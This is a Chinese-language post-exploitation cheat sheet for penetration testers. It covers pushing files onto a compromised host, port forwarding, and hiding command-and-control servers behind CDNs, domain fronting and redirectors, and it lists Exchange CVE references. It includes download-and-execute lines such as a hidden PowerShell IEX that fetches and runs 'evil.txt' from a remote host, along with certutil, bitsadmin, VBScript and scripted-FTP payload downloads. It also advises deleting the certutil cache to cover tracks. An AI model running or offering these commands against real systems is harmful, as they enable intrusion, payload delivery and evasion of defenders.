本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.
后渗透案例
相关工具
- sc0tfree/updog - 用于替代 Python 的 SimpleHTTPServer 的工具,自带401认证服务
pip3 install updog updog --port 8888 --password test1234
本地服务
以下部分内容来自 部分内容来自 部分内容来自项目 [willurd/web-servers.md]
在当前目录起个 8000 端口的 HTTP 服务
-
Python 2.x
python -m SimpleHTTPServer 8000
-
Python 3.x
python -m http.server 8000
-
Twisted (Python)
twistd -n web -p 8000 --path .
or
python -c 'from twisted.web.server import Site; from twisted.web.static import File; from twisted.internet import reactor; reactor.listenTCP(8000, Site(File("."))); reactor.run()'
-
Ruby
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 8000, :DocumentRoot => Dir.pwd).start'
-
Ruby 1.9.2+
ruby -run -ehttpd . -p8000
-
adsf (Ruby)
gem install adsf # install dependency adsf -p 8000
-
Sinatra (Ruby)
gem install sinatra # install dependency ruby -rsinatra -e'set :public_folder, "."; set :port, 8000'
-
Perl
cpan HTTP::Server::Brick # install dependency perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>8000); $s->mount("/"=>{path=>"."}); $s->start'
-
Plack (Perl)
cpan Plack # install dependency plackup -MPlack::App::Directory -e 'Plack::App::Directory->new(root=>".");' -p 8000
-
Mojolicious (Perl)
cpan Mojolicious::Lite # install dependency perl -MMojolicious::Lite -MCwd -e 'app->static->paths->[0]=getcwd; app->start' daemon -l http://*:8000
-
http-server (Node.js)
npm install -g http-server # install dependency http-server -p 8000
-
node-static (Node.js)
npm install -g node-static # install dependency static -p 8000
-
PHP (>= 5.4)
php -S 127.0.0.1:8000
-
Erlang
erl -s inets -eval 'inets:start(httpd,[{server_name,"NAME"},{document_root, "."},{server_root, "."},{port, 8000},{mime_types,[{"html","text/html"},{"htm","text/html"},{"js","text/javascript"},{"css","text/css"},{"gif","image/gif"},{"jpg","image/jpeg"},{"jpeg","image/jpeg"},{"png","image/png"}]}]).'
-
busybox httpd
busybox httpd -f -p 8000
-
webfs
webfsd -F -p 8000
-
IIS Express
C:\> "C:\Program Files (x86)\IIS Express\iisexpress.exe" /path:C:\MyWeb /port:8000
tftp
基于 udp,端口为 69
-
攻击端起 tftp
mkdir /tftp atftpd --daemon --port 69 /tftp cp /usr/share/windows-binaries/nc.exe /tftp/ chown -R nobody /tftp
-
目标机
tftp -i <kali-ip> GET nc.exe
ftp
-
攻击端
apt-get install -y pure-ftpd groupadd ftpgroup useradd -g ftpgroup -d /dev/null -s /etc ftpuser pure-pw useradd username -u ftpuser -d /ftphome pure-pw mkdb cd /etc/pure-ftpd/auth/ ln -s ../conf/PureDB 60pdb mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ./setup-ftp(输入要设置的密码)
攻击端使用 python 起 ftp:
apt-get install -y python-pyftpdlib mkdir /ftp cd /ftp/ python -m pyftpdlib -p 21
此时目标机连接的时候,用户名为 anonymous,密码随意
-
目标机 目标机的远程 shell 上运行
echo open <kali-ip> 21> ftp.txt echo username>> ftp.txt echo password>> ftp.txt echo bin >> ftp.txt echo GET evil.exe >> ftp.txt echo bye >> ftp.txt ftp -s:ftp.txt
目标机上传文件(连接状态):
ftp> put target.exe(如果是 windows 且文件在其他盘,需使用绝对路径)
关闭 ftp:
/etc/init.d/pure-ftpd stop
windows下
ftp username password get file exit 或者 bye
ftp -s:test.txt
文章
查看语言/代码支持情况
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
查找可利用于传输文件的命令
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
find / -name scp
nc
# 收
nc -nvlp 4444 > aaa
# 发
nc -nv 192.168.30.35 4444 </usr/share/aaa # kali
文章
vbscript
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo strFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
攻击端起 http 服务
cp exploit.exe /var/www/
service apache2 start
在目标机执行 vb 命令,会生成 wget.vbs
dir wget.vbs
cscript wget.vbs http://<kali-ip>/exploit.exe (要下载的文件)exploit.exe(保存成的文件名)
powershell
同样,攻击端起 http 服务
echo $storageDir =$pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://<kali-ip>/exploit.exe" >>wget.ps1
echo $file = "new-exploit.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
在目标机执行 powershell 命令,会生成 wget.ps1 目标机执行:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
或使用下面这种方法
$p = New-Object System.Net.WebClient
$p.DownloadFile("https://img.alicdn.com/tps/TB1XLjqNVXXXXc4XVXXXXXXXXXX-170-64.png","D:\Temp\4.png")
powershell .\test.ps1
远程下载文件保存在本地
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1/evil.txt','evil.exe')
有的时候 PowerShell 的执行权限会被关闭,需要使用如下的语句打开。
powershell set-executionpolicy unrestricted
远程执行命令
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.1/1/evil.txt'))"
smb
- 在公网创建一个共享如:\111.111.111.111\test$
- 命令行下执行 net use \111.111.111.111\test$ /u:test test
- 最后上传文件到共享,命令行下拷贝:copy \111.111.111.111\test$\test.exe c:\
Bitsadmin
bitsadmin 是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。
bitsadmin /transfer n http://192.168.1.1/1/evil.txt d:\test\1.txt
certutil
用于备份证书服务,支持 xp-win10 都支持。由于 certutil 下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。
缓存目录为: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
# 下载
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
# 删除缓存
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete
ipc$
# 建立远程 IPC 连接
net use \\192.168.28.128\ipc$ /user:administrator "abc123!"
# 复制远程文件到本地主机
copy \\192.168.28.128\c$\2.txt D:\test
相关文章
端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为。
文章
工具
-
cw1997/NATBypass - 一款 lcx 在 golang 下的实现
-
knownsec/rtcp - 利用 Python 的 Socket 端口转发,用于远程维护
-
k8gege/PortTran - .NET 端口转发工具,支持任意权限
-
sensepost/reGeorg - 通过走 web 流量进行端口转发
-
lcx
lcx -slave 111.222.333.444 4567 127.0.0.1 3389 # On the targets lcx -listen 4567 33891 # Attacker
-
netcat
-
tcp 端口连接
smtp: nc -nv 192.168.30.35 25 help pop3: nc -nv 192.168.30.35 110 user xxx pass xxx imap: nc -nv 192.168.30.35 143
-
chat
nc -nvlp 4444 # A 主机 nc -nv 192.168.30.35 4444 # B 主机
-
-
socat
socat TCP-LISTEN:5000,fork,reuseaddr tcp:127.0.0.1:8080
ssh
ssh -L 8080:127.0.0.1:80 [email protected] # 本地转发
ssh -R 8080:127.0.0.1:80 [email protected] # 远程转发
ssh -D 1080 root@sshserver # 动态端口转发
ICMP
相关文章
相关利用案例
反向代理
相关文章
让 cdn 转发合法的 http 或者 https 流量来达到隐藏的目的。
受害主机上只会有跟 cdn 的 ip 通信的流量,不会有跟真实 C2 通信的流量,可以保护 C2 的 ip,但是域名还是会暴露。
相关文章
实验
Domain fronting
同一个 cdn 厂商下倘若有两个域名 a.com,b.com,这时候我们使用 curl 命令访问第一个 a.com 并将 host 名改为 b.com 这时候,实际访问的是 b.com 的内容。而一般的监测机制是不会检测 host 头的。
通过一个高信任域名隐藏自己的真实域名与 ip,且受害主机上只有跟 cdn 通信的流量。
相关文章
两台 vps,一台做重定向,一台是真正的 C2,而受害者只与那台做重定向的机器通信,重定向机器只会转发来自 beacon 的特定流量到 C2 控制端主机,对于其他流量可以自定义设置处理方法,一般是采用重定向到一些高信誉域名上例如百度等。
受害者上只会有与重定向机器之间的流量,不会有与真实 c2 服务器的流量,重定向服务器会将非 beacon 的请求重定向到一些高信誉域名上,达到迷惑的目的,不过如果受害者 ban 掉了重定向机器的 ip,对攻击者的损失也是很大的。
相关文章
- 利用apache mod_rewrite模块实现重定向技术来隐藏CS的teamserver的原理与实现
- cobaltstrike配置nginx反向代理
- Cobalt Strike with CloudFlare
- 博客使用Cloudflare和Nginx的相关配置
相关项目
- cedowens/Mod_Rewrite_Automation - Scripts to automate standing up apache2 with mod_rewrite in front of C2 servers.
- threatexpress/cs2modrewrite - Convert Cobalt Strike profiles to modrewrite scripts
实验
工具
- PTP-RAT
域渗透相关文章(总结类)
域认证
- 关于 windows 域认证的基本知识点可见笔记 认证
域环境
- 关于 windows 域环境组成的基本知识点可见笔记 认证
域环境搭建
- 关于 windows 域认证的基本知识点可见笔记 认证
工具
- APT34 Exchange 爆破工具
- grayddq/EBurst - 这个脚本主要提供对 Exchange 邮件服务器的账户爆破功能,集成了现有主流接口的爆破方式。
- sensepost/ruler - 爆破 Exchange
- dpaulson45/HealthChecker - Exchange Server 运行状况检查脚本
- microsoft/CSS-Exchange - Exchange Server支持工具和脚本,用于检测各类问题
CVE-2018-8581 任意用户伪造漏洞
-
文章
-
POC | Payload | exp
CVE-2019-1040
-
文章
-
POC | Payload | exp
CVE-2020-0688 远程代码执行漏洞
-
文章
-
POC | Payload | exp
CVE-2020-16875 远程代码执行漏洞
-
简介
由于对 cmdlet 参数的验证不正确,Microsoft Exchange 服务器中存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以在系统用户的上下文中运行任意代码。利用此漏洞需要拥有以某个 Exchange 角色进行身份验证的用户权限,由于 Exchange 服务以 System 权限运行,触发该漏洞亦可获得系统最高权限。
-
MSF 模块
use exploit/windows/http/exchange_ecp_dlp_policy
Proxylogon
-
文章
-
POC | Payload | exp